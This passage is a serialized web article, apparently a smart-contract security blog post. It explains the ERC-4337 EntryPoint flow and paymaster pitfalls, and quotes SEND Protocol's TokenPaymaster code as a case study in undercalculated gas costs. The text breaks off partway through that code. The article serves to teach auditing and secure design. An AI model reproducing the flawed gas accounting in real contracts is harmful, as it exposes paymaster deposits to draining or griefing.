",{"type":24,"tag":10949,"props":108019,"children":108020},{},[108021],{"type":29,"value":108022},"Validation",{"type":29,"value":855},{"type":24,"tag":10949,"props":108025,"children":108026},{},[108027],{"type":29,"value":108028},"Execution",{"type":29,"value":87},{"type":24,"tag":43,"props":108031,"children":108033},{"id":108032},"validation-phase",[108034],{"type":29,"value":108035},"Validation Phase",{"type":24,"tag":25,"props":108037,"children":108038},{},[108039,108041,108046,108048,108054,108056,108062,108063,108068],{"type":29,"value":108040},"In this phase, the ",{"type":24,"tag":80,"props":108042,"children":108044},{"className":108043},[],[108045],{"type":29,"value":107841},{"type":29,"value":108047}," first validates all operations in the submitted ",{"type":24,"tag":80,"props":108049,"children":108051},{"className":108050},[],[108052],{"type":29,"value":108053},"UserOps",{"type":29,"value":108055}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":24,"tag":80,"props":108057,"children":108059},{"className":108058},[],[108060],{"type":29,"value":108061},"UserOp",{"type":29,"value":107875},{"type":24,"tag":80,"props":108064,"children":108066},{"className":108065},[],[108067],{"type":29,"value":107841},{"type":29,"value":978},{"type":24,"tag":2674,"props":108070,"children":108071},{},[108072,108090,108108,108129,108141],{"type":24,"tag":2678,"props":108073,"children":108074},{},[108075,108082,108084],{"type":24,"tag":2773,"props":108076,"children":108079},{"href":108077,"rel":108078},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[2777],[108080],{"type":29,"value":108081},"Calculates",{"type":29,"value":108083}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":24,"tag":80,"props":108085,"children":108087},{"className":108086},[],[108088],{"type":29,"value":108089},"maxFeePerGas",{"type":24,"tag":2678,"props":108091,"children":108092},{},[108093,108100,108101,108106],{"type":24,"tag":2773,"props":108094,"children":108097},{"href":108095,"rel":108096},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[2777],[108098],{"type":29,"value":108099},"Calls",{"type":29,"value":12083},{"type":24,"tag":80,"props":108102,"children":108104},{"className":108103},[],[108105],{"type":29,"value":107808},{"type":29,"value":108107}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":24,"tag":2678,"props":108109,"children":108110},{},[108111,108113,108120,108122,108127],{"type":29,"value":108112},"If no paymaster is specified, attempts to ",{"type":24,"tag":2773,"props":108114,"children":108117},{"href":108115,"rel":108116},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[2777],[108118],{"type":29,"value":108119},"deduct",{"type":29,"value":108121}," the prefund amount from the sender's ETH deposit in the ",{"type":24,"tag":80,"props":108123,"children":108125},{"className":108124},[],[108126],{"type":29,"value":107841},{"type":29,"value":108128}," (this can be partially refunded later if actual execution costs less)",{"type":24,"tag":2678,"props":108130,"children":108131},{},[108132,108139],{"type":24,"tag":2773,"props":108133,"children":108136},{"href":108134,"rel":108135},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[2777],[108137],{"type":29,"value":108138},"Validates",{"type":29,"value":108140}," the nonce to prevent replay attacks",{"type":24,"tag":2678,"props":108142,"children":108143},{},[108144,108146,108152,108154,108160,108161,108166],{"type":29,"value":108145},"If a paymaster is specified, it will ",{"type":24,"tag":2773,"props":108147,"children":108150},{"href":108148,"rel":108149},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[2777],[108151],{"type":29,"value":108119},{"type":29,"value":108153}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":24,"tag":2773,"props":108155,"children":108158},{"href":108156,"rel":108157},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[2777],[108159],{"type":29,"value":43893},{"type":29,"value":12083},{"type":24,"tag":80,"props":108162,"children":108164},{"className":108163},[],[108165],{"type":29,"value":107948},{"type":29,"value":108167}," on the paymaster contract to verify it will cover gas costs",{"type":24,"tag":25,"props":108169,"children":108170},{},[108171,108173,108178,108180,108185],{"type":29,"value":108172},"Only after all these validation checks pass will the ",{"type":24,"tag":80,"props":108174,"children":108176},{"className":108175},[],[108177],{"type":29,"value":107841},{"type":29,"value":108179}," move on to actually executing the ",{"type":24,"tag":80,"props":108181,"children":108183},{"className":108182},[],[108184],{"type":29,"value":107760},{"type":29,"value":108186},". This strict validation flow ensures that:",{"type":24,"tag":22292,"props":108188,"children":108189},{},[108190,108195,108200,108205],{"type":24,"tag":2678,"props":108191,"children":108192},{},[108193],{"type":29,"value":108194},"The operation is legitimate and authorized by the user",{"type":24,"tag":2678,"props":108196,"children":108197},{},[108198],{"type":29,"value":108199},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":24,"tag":2678,"props":108201,"children":108202},{},[108203],{"type":29,"value":108204},"The operation cannot be replayed",{"type":24,"tag":2678,"props":108206,"children":108207},{},[108208],{"type":29,"value":108209},"All involved contracts (sender and paymaster) have approved the execution",{"type":24,"tag":25,"props":108211,"children":108212},{},[108213],{"type":29,"value":108214},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":24,"tag":43,"props":108216,"children":108218},{"id":108217},"execution-phase",[108219],{"type":29,"value":108220},"Execution Phase",{"type":24,"tag":25,"props":108222,"children":108223},{},[108224,108226,108231,108233,108240,108242,108247],{"type":29,"value":108225},"After all operations have passed validation, the ",{"type":24,"tag":80,"props":108227,"children":108229},{"className":108228},[],[108230],{"type":29,"value":107841},{"type":29,"value":108232}," begins the ",{"type":24,"tag":2773,"props":108234,"children":108237},{"href":108235,"rel":108236},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[2777],[108238],{"type":29,"value":108239},"execution",{"type":29,"value":108241}," phase, processing each ",{"type":24,"tag":80,"props":108243,"children":108245},{"className":108244},[],[108246],{"type":29,"value":107760},{"type":29,"value":108248}," individually. For each operation, the flow is:",{"type":24,"tag":2674,"props":108250,"children":108251},{},[108252,108312,108358],{"type":24,"tag":2678,"props":108253,"children":108254},{},[108255,108256,108261,108263,108269,108270,108276,108278],{"type":29,"value":5094},{"type":24,"tag":80,"props":108257,"children":108259},{"className":108258},[],[108260],{"type":29,"value":107841},{"type":29,"value":108262}," makes a ",{"type":24,"tag":2773,"props":108264,"children":108267},{"href":108265,"rel":108266},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[2777],[108268],{"type":29,"value":43893},{"type":29,"value":62364},{"type":24,"tag":80,"props":108271,"children":108273},{"className":108272},[],[108274],{"type":29,"value":108275},"innerHandleOp()",{"type":29,"value":108277},", which:\n",{"type":24,"tag":22292,"props":108279,"children":108280},{},[108281,108293,108298],{"type":24,"tag":2678,"props":108282,"children":108283},{},[108284,108291],{"type":24,"tag":2773,"props":108285,"children":108288},{"href":108286,"rel":108287},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[2777],[108289],{"type":29,"value":108290},"Forwards",{"type":29,"value":108292}," the operation to the sender's smart account contract",{"type":24,"tag":2678,"props":108294,"children":108295},{},[108296],{"type":29,"value":108297},"Executes the intended transaction(s) within the smart account",{"type":24,"tag":2678,"props":108299,"children":108300},{},[108301,108303,108310],{"type":29,"value":108302},"Handles ",{"type":24,"tag":2773,"props":108304,"children":108307},{"href":108305,"rel":108306},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[2777],[108308],{"type":29,"value":108309},"post-execution",{"type":29,"value":108311}," tasks and cleanup",{"type":24,"tag":2678,"props":108313,"children":108314},{},[108315,108317,108323,108325,108331,108332,108338,108340],{"type":29,"value":108316},"If a paymaster was used, ",{"type":24,"tag":80,"props":108318,"children":108320},{"className":108319},[],[108321],{"type":29,"value":108322},"Entrypoint",{"type":29,"value":108324}," will ",{"type":24,"tag":2773,"props":108326,"children":108329},{"href":108327,"rel":108328},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[2777],[108330],{"type":29,"value":43893},{"type":29,"value":12083},{"type":24,"tag":80,"props":108333,"children":108335},{"className":108334},[],[108336],{"type":29,"value":108337},"paymaster.postOp()",{"type":29,"value":108339}," to:\n",{"type":24,"tag":22292,"props":108341,"children":108342},{},[108343,108348,108353],{"type":24,"tag":2678,"props":108344,"children":108345},{},[108346],{"type":29,"value":108347},"Allow paymaster to finalize its accounting",{"type":24,"tag":2678,"props":108349,"children":108350},{},[108351],{"type":29,"value":108352},"Process any refunds or additional charges",{"type":24,"tag":2678,"props":108354,"children":108355},{},[108356],{"type":29,"value":108357},"Complete any paymaster-specific logic",{"type":24,"tag":2678,"props":108359,"children":108360},{},[108361,108363,108368,108369,108376,108378],{"type":29,"value":108362},"Finally, after all operations are processed, the ",{"type":24,"tag":80,"props":108364,"children":108366},{"className":108365},[],[108367],{"type":29,"value":107841},{"type":29,"value":12083},{"type":24,"tag":2773,"props":108370,"children":108373},{"href":108371,"rel":108372},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[2777],[108374],{"type":29,"value":108375},"compensates",{"type":29,"value":108377}," the bundler for:\n",{"type":24,"tag":22292,"props":108379,"children":108380},{},[108381,108386,108391],{"type":24,"tag":2678,"props":108382,"children":108383},{},[108384],{"type":29,"value":108385},"Gas costs from executing all operations",{"type":24,"tag":2678,"props":108387,"children":108388},{},[108389],{"type":29,"value":108390},"Overhead from submitting the batch transaction",{"type":24,"tag":2678,"props":108392,"children":108393},{},[108394],{"type":29,"value":108395},"Any unused gas, which is refunded",{"type":24,"tag":25,"props":108397,"children":108398},{},[108399],{"type":29,"value":108400},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":24,"tag":25,"props":108402,"children":108403},{},[108404,108406,108411,108413,108419,108421,108426],{"type":29,"value":108405},"Now that we understand how the ",{"type":24,"tag":80,"props":108407,"children":108409},{"className":108408},[],[108410],{"type":29,"value":107841},{"type":29,"value":108412}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":24,"tag":80,"props":108414,"children":108416},{"className":108415},[],[108417],{"type":29,"value":108418},"paymasters",{"type":29,"value":108420}," that align with the ",{"type":24,"tag":80,"props":108422,"children":108424},{"className":108423},[],[108425],{"type":29,"value":107841},{"type":29,"value":108427},"'s execution model, leading to potential vulnerabilities.",{"type":24,"tag":40973,"props":108429,"children":108431},{"id":108430},"common-pitfalls-in-paymaster-implementation",[108432],{"type":29,"value":108433},"Common Pitfalls in Paymaster Implementation",{"type":24,"tag":25,"props":108435,"children":108436},{},[108437,108439,108444],{"type":29,"value":108438},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":24,"tag":80,"props":108440,"children":108442},{"className":108441},[],[108443],{"type":29,"value":107841},{"type":29,"value":108445}," to exploitation or griefing.",{"type":24,"tag":25,"props":108447,"children":108448},{},[108449,108451,108456],{"type":29,"value":108450},"In this section, we’ll walk through the ",{"type":24,"tag":10949,"props":108452,"children":108453},{},[108454],{"type":29,"value":108455},"two most common pitfalls",{"type":29,"value":108457}," we’ve observed in real-world paymaster implementations:",{"type":24,"tag":32,"props":108459,"children":108461},{"id":108460},"undercalculated-gas-costs",[108462],{"type":24,"tag":10949,"props":108463,"children":108464},{},[108465],{"type":29,"value":108466},"Undercalculated Gas Costs",{"type":24,"tag":25,"props":108468,"children":108469},{},[108470,108472,108477,108479,108484,108486,108491,108493,108500],{"type":29,"value":108471},"To understand this issue, let's first examine how gas penalties work in the ",{"type":24,"tag":80,"props":108473,"children":108475},{"className":108474},[],[108476],{"type":29,"value":107841},{"type":29,"value":108478},". When a ",{"type":24,"tag":80,"props":108480,"children":108482},{"className":108481},[],[108483],{"type":29,"value":107760},{"type":29,"value":108485}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":24,"tag":80,"props":108487,"children":108489},{"className":108488},[],[108490],{"type":29,"value":107841},{"type":29,"value":108492}," charges a ",{"type":24,"tag":2773,"props":108494,"children":108497},{"href":108495,"rel":108496},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[2777],[108498],{"type":29,"value":108499},"penalty of 10%",{"type":29,"value":108501}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":24,"tag":25,"props":108503,"children":108504},{},[108505],{"type":29,"value":108506},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":24,"tag":137,"props":108508,"children":108510},{"className":10099,"code":108509,"language":10098,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[108511],{"type":24,"tag":80,"props":108512,"children":108513},{"__ignoreMap":7},[108514,108558,108565,108622,108630,108638,108680,108687,108699,108721,108742,108772,108823,108853,108874,108912,108951,108968,109007,109031,109048,109091,109112,109129,109146,109153,109160,109186,109203,109238,109269,109281,109328,109335,109342,109349,109416,109423,109430,109437,109448,109467,109486,109550,109572,109605,109620,109655,109663,109702,109727,109748,109756,109783,109810,109818,109826,109868,109875,109882,109906,109922,109929,109936,109954,109967,109974,109982],{"type":24,"tag":147,"props":108515,"children":108516},{"class":149,"line":150},[108517,108521,108526,108531,108536,108540,108545,108549,108554],{"type":24,"tag":147,"props":108518,"children":108519},{"style":218},[108520],{"type":29,"value":95397},{"type":24,"tag":147,"props":108522,"children":108523},{"style":9044},[108524],{"type":29,"value":108525}," TokenPaymaster",{"type":24,"tag":147,"props":108527,"children":108528},{"style":218},[108529],{"type":29,"value":108530}," is",{"type":24,"tag":147,"props":108532,"children":108533},{"style":9044},[108534],{"type":29,"value":108535}," BasePaymaster",{"type":24,"tag":147,"props":108537,"children":108538},{"style":235},[108539],{"type":29,"value":546},{"type":24,"tag":147,"props":108541,"children":108542},{"style":9044},[108543],{"type":29,"value":108544},"UniswapHelper",{"type":24,"tag":147,"props":108546,"children":108547},{"style":235},[108548],{"type":29,"value":546},{"type":24,"tag":147,"props":108550,"children":108551},{"style":9044},[108552],{"type":29,"value":108553},"OracleHelper",{"type":24,"tag":147,"props":108555,"children":108556},{"style":235},[108557],{"type":29,"value":6630},{"type":24,"tag":147,"props":108559,"children":108560},{"class":149,"line":160},[108561],{"type":24,"tag":147,"props":108562,"children":108563},{"style":235},[108564],{"type":29,"value":15939},{"type":24,"tag":147,"props":108566,"children":108567},{"class":149,"line":169},[108568,108572,108577,108581,108586,108591,108596,108600,108605,108609,108613,108618],{"type":24,"tag":147,"props":108569,"children":108570},{"style":218},[108571],{"type":29,"value":95414},{"type":24,"tag":147,"props":108573,"children":108574},{"style":229},[108575],{"type":29,"value":108576}," _validatePaymasterUserOp",{"type":24,"tag":147,"props":108578,"children":108579},{"style":235},[108580],{"type":29,"value":480},{"type":24,"tag":147,"props":108582,"children":108583},{"style":218},[108584],{"type":29,"value":108585},"PackedUserOperation",{"type":24,"tag":147,"props":108587,"children":108588},{"style":218},[108589],{"type":29,"value":108590}," calldata",{"type":24,"tag":147,"props":108592,"children":108593},{"style":247},[108594],{"type":29,"value":108595}," userOp",{"type":24,"tag":147,"props":108597,"children":108598},{"style":235},[108599],{"type":29,"value":546},{"type":24,"tag":147,"props":108601,"children":108602},{"style":9044},[108603],{"type":29,"value":108604},"bytes32",{"type":24,"tag":147,"props":108606,"children":108607},{"style":235},[108608],{"type":29,"value":546},{"type":24,"tag":147,"props":108610,"children":108611},{"style":9044},[108612],{"type":29,"value":51768},{"type":24,"tag":147,"props":108614,"children":108615},{"style":247},[108616],{"type":29,"value":108617}," requiredPreFund",{"type":24,"tag":147,"props":108619,"children":108620},{"style":235},[108621],{"type":29,"value":269},{"type":24,"tag":147,"props":108623,"children":108624},{"class":149,"line":178},[108625],{"type":24,"tag":147,"props":108626,"children":108627},{"style":218},[108628],{"type":29,"value":108629},"        internal\n",{"type":24,"tag":147,"props":108631,"children":108632},{"class":149,"line":187},[108633],{"type":24,"tag":147,"props":108634,"children":108635},{"style":218},[108636],{"type":29,"value":108637},"        override\n",{"type":24,"tag":147,"props":108639,"children":108640},{"class":149,"line":196},[108641,108646,108650,108654,108659,108663,108667,108671,108676],{"type":24,"tag":147,"props":108642,"children":108643},{"style":321},[108644],{"type":29,"value":108645},"        returns",{"type":24,"tag":147,"props":108647,"children":108648},{"style":235},[108649],{"type":29,"value":408},{"type":24,"tag":147,"props":108651,"children":108652},{"style":9044},[108653],{"type":29,"value":89411},{"type":24,"tag":147,"props":108655,"children":108656},{"style":218},[108657],{"type":29,"value":108658}," memory",{"type":24,"tag":147,"props":108660,"children":108661},{"style":247},[108662],{"type":29,"value":81924},{"type":24,"tag":147,"props":108664,"children":108665},{"style":235},[108666],{"type":29,"value":546},{"type":24,"tag":147,"props":108668,"children":108669},{"style":9044},[108670],{"type":29,"value":51768},{"type":24,"tag":147,"props":108672,"children":108673},{"style":247},[108674],{"type":29,"value":108675}," validationResult",{"type":24,"tag":147,"props":108677,"children":108678},{"style":235},[108679],{"type":29,"value":269},{"type":24,"tag":147,"props":108681,"children":108682},{"class":149,"line":205},[108683],{"type":24,"tag":147,"props":108684,"children":108685},{"style":235},[108686],{"type":29,"value":3079},{"type":24,"tag":147,"props":108688,"children":108689},{"class":149,"line":214},[108690,108695],{"type":24,"tag":147,"props":108691,"children":108692},{"style":321},[108693],{"type":29,"value":108694},"        unchecked",{"type":24,"tag":147,"props":108696,"children":108697},{"style":235},[108698],{"type":29,"value":6630},{"type":24,"tag":147,"props":108700,"children":108701},{"class":149,"line":272},[108702,108707,108712,108716],{"type":24,"tag":147,"props":108703,"children":108704},{"style":9044},[108705],{"type":29,"value":108706},"            uint256",{"type":24,"tag":147,"props":108708,"children":108709},{"style":235},[108710],{"type":29,"value":108711}," priceMarkup ",{"type":24,"tag":147,"props":108713,"children":108714},{"style":241},[108715],{"type":29,"value":369},{"type":24,"tag":147,"props":108717,"children":108718},{"style":235},[108719],{"type":29,"value":108720}," tokenPaymasterConfig.priceMarkup;\n",{"type":24,"tag":147,"props":108722,"children":108723},{"class":149,"line":281},[108724,108728,108733,108737],{"type":24,"tag":147,"props":108725,"children":108726},{"style":9044},[108727],{"type":29,"value":108706},{"type":24,"tag":147,"props":108729,"children":108730},{"style":235},[108731],{"type":29,"value":108732}," baseFee ",{"type":24,"tag":147,"props":108734,"children":108735},{"style":241},[108736],{"type":29,"value":369},{"type":24,"tag":147,"props":108738,"children":108739},{"style":235},[108740],{"type":29,"value":108741}," tokenPaymasterConfig.baseFee;\n",{"type":24,"tag":147,"props":108743,"children":108744},{"class":149,"line":299},[108745,108749,108754,108758,108763,108767],{"type":24,"tag":147,"props":108746,"children":108747},{"style":9044},[108748],{"type":29,"value":108706},{"type":24,"tag":147,"props":108750,"children":108751},{"style":235},[108752],{"type":29,"value":108753}," dataLength ",{"type":24,"tag":147,"props":108755,"children":108756},{"style":241},[108757],{"type":29,"value":369},{"type":24,"tag":147,"props":108759,"children":108760},{"style":235},[108761],{"type":29,"value":108762}," userOp.paymasterAndData.length ",{"type":24,"tag":147,"props":108764,"children":108765},{"style":241},[108766],{"type":29,"value":3470},{"type":24,"tag":147,"props":108768,"children":108769},{"style":235},[108770],{"type":29,"value":108771}," PAYMASTER_DATA_OFFSET;\n",{"type":24,"tag":147,"props":108773,"children":108774},{"class":149,"line":308},[108775,108780,108785,108789,108793,108797,108801,108805,108810,108814,108819],{"type":24,"tag":147,"props":108776,"children":108777},{"style":321},[108778],{"type":29,"value":108779},"            require",{"type":24,"tag":147,"props":108781,"children":108782},{"style":235},[108783],{"type":29,"value":108784},"(dataLength ",{"type":24,"tag":147,"props":108786,"children":108787},{"style":241},[108788],{"type":29,"value":6600},{"type":24,"tag":147,"props":108790,"children":108791},{"style":705},[108792],{"type":29,"value":708},{"type":24,"tag":147,"props":108794,"children":108795},{"style":241},[108796],{"type":29,"value":29300},{"type":24,"tag":147,"props":108798,"children":108799},{"style":235},[108800],{"type":29,"value":108753},{"type":24,"tag":147,"props":108802,"children":108803},{"style":241},[108804],{"type":29,"value":6600},{"type":24,"tag":147,"props":108806,"children":108807},{"style":705},[108808],{"type":29,"value":108809}," 32",{"type":24,"tag":147,"props":108811,"children":108812},{"style":235},[108813],{"type":29,"value":546},{"type":24,"tag":147,"props":108815,"children":108816},{"style":3534},[108817],{"type":29,"value":108818},"\"TPM: invalid data length\"",{"type":24,"tag":147,"props":108820,"children":108821},{"style":235},[108822],{"type":29,"value":1473},{"type":24,"tag":147,"props":108824,"children":108825},{"class":149,"line":317},[108826,108830,108835,108839,108844,108849],{"type":24,"tag":147,"props":108827,"children":108828},{"style":9044},[108829],{"type":29,"value":108706},{"type":24,"tag":147,"props":108831,"children":108832},{"style":235},[108833],{"type":29,"value":108834}," maxFeePerGas ",{"type":24,"tag":147,"props":108836,"children":108837},{"style":241},[108838],{"type":29,"value":369},{"type":24,"tag":147,"props":108840,"children":108841},{"style":235},[108842],{"type":29,"value":108843}," userOp.",{"type":24,"tag":147,"props":108845,"children":108846},{"style":229},[108847],{"type":29,"value":108848},"unpackMaxFeePerGas",{"type":24,"tag":147,"props":108850,"children":108851},{"style":235},[108852],{"type":29,"value":9295},{"type":24,"tag":147,"props":108854,"children":108855},{"class":149,"line":332},[108856,108860,108865,108869],{"type":24,"tag":147,"props":108857,"children":108858},{"style":9044},[108859],{"type":29,"value":108706},{"type":24,"tag":147,"props":108861,"children":108862},{"style":235},[108863],{"type":29,"value":108864}," refundPostopCost ",{"type":24,"tag":147,"props":108866,"children":108867},{"style":241},[108868],{"type":29,"value":369},{"type":24,"tag":147,"props":108870,"children":108871},{"style":235},[108872],{"type":29,"value":108873}," tokenPaymasterConfig.refundPostopCost;\n",{"type":24,"tag":147,"props":108875,"children":108876},{"class":149,"line":350},[108877,108881,108886,108890,108894,108899,108903,108908],{"type":24,"tag":147,"props":108878,"children":108879},{"style":321},[108880],{"type":29,"value":108779},{"type":24,"tag":147,"props":108882,"children":108883},{"style":235},[108884],{"type":29,"value":108885},"(refundPostopCost ",{"type":24,"tag":147,"props":108887,"children":108888},{"style":241},[108889],{"type":29,"value":3583},{"type":24,"tag":147,"props":108891,"children":108892},{"style":235},[108893],{"type":29,"value":108843},{"type":24,"tag":147,"props":108895,"children":108896},{"style":229},[108897],{"type":29,"value":108898},"unpackPostOpGasLimit",{"type":24,"tag":147,"props":108900,"children":108901},{"style":235},[108902],{"type":29,"value":23982},{"type":24,"tag":147,"props":108904,"children":108905},{"style":3534},[108906],{"type":29,"value":108907},"\"TPM: postOpGasLimit too low\"",{"type":24,"tag":147,"props":108909,"children":108910},{"style":235},[108911],{"type":29,"value":1473},{"type":24,"tag":147,"props":108913,"children":108914},{"class":149,"line":358},[108915,108919,108924,108928,108933,108937,108942,108946],{"type":24,"tag":147,"props":108916,"children":108917},{"style":9044},[108918],{"type":29,"value":108706},{"type":24,"tag":147,"props":108920,"children":108921},{"style":235},[108922],{"type":29,"value":108923}," preChargeNative ",{"type":24,"tag":147,"props":108925,"children":108926},{"style":241},[108927],{"type":29,"value":369},{"type":24,"tag":147,"props":108929,"children":108930},{"style":235},[108931],{"type":29,"value":108932}," requiredPreFund ",{"type":24,"tag":147,"props":108934,"children":108935},{"style":241},[108936],{"type":29,"value":624},{"type":24,"tag":147,"props":108938,"children":108939},{"style":235},[108940],{"type":29,"value":108941}," (refundPostopCost ",{"type":24,"tag":147,"props":108943,"children":108944},{"style":241},[108945],{"type":29,"value":244},{"type":24,"tag":147,"props":108947,"children":108948},{"style":235},[108949],{"type":29,"value":108950}," maxFeePerGas);\n",{"type":24,"tag":147,"props":108952,"children":108953},{"class":149,"line":397},[108954,108959,108963],{"type":24,"tag":147,"props":108955,"children":108956},{"style":154},[108957],{"type":29,"value":108958},"            // ",{"type":24,"tag":147,"props":108960,"children":108961},{"style":218},[108962],{"type":29,"value":72341},{"type":24,"tag":147,"props":108964,"children":108965},{"style":154},[108966],{"type":29,"value":108967},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":24,"tag":147,"props":108969,"children":108970},{"class":149,"line":421},[108971,108975,108980,108984,108989,108993,108998,109002],{"type":24,"tag":147,"props":108972,"children":108973},{"style":9044},[108974],{"type":29,"value":108706},{"type":24,"tag":147,"props":108976,"children":108977},{"style":235},[108978],{"type":29,"value":108979}," cachedPriceWithMarkup ",{"type":24,"tag":147,"props":108981,"children":108982},{"style":241},[108983],{"type":29,"value":369},{"type":24,"tag":147,"props":108985,"children":108986},{"style":235},[108987],{"type":29,"value":108988}," cachedPrice ",{"type":24,"tag":147,"props":108990,"children":108991},{"style":241},[108992],{"type":29,"value":244},{"type":24,"tag":147,"props":108994,"children":108995},{"style":235},[108996],{"type":29,"value":108997}," DENOM ",{"type":24,"tag":147,"props":108999,"children":109000},{"style":241},[109001],{"type":29,"value":10204},{"type":24,"tag":147,"props":109003,"children":109004},{"style":235},[109005],{"type":29,"value":109006}," priceMarkup;\n",{"type":24,"tag":147,"props":109008,"children":109009},{"class":149,"line":435},[109010,109014,109019,109023,109027],{"type":24,"tag":147,"props":109011,"children":109012},{"style":321},[109013],{"type":29,"value":64385},{"type":24,"tag":147,"props":109015,"children":109016},{"style":235},[109017],{"type":29,"value":109018}," (dataLength ",{"type":24,"tag":147,"props":109020,"children":109021},{"style":241},[109022],{"type":29,"value":6600},{"type":24,"tag":147,"props":109024,"children":109025},{"style":705},[109026],{"type":29,"value":108809},{"type":24,"tag":147,"props":109028,"children":109029},{"style":235},[109030],{"type":29,"value":505},{"type":24,"tag":147,"props":109032,"children":109033},{"class":149,"line":444},[109034,109039,109044],{"type":24,"tag":147,"props":109035,"children":109036},{"style":9044},[109037],{"type":29,"value":109038},"                uint256",{"type":24,"tag":147,"props":109040,"children":109041},{"style":235},[109042],{"type":29,"value":109043}," clientSuppliedPrice 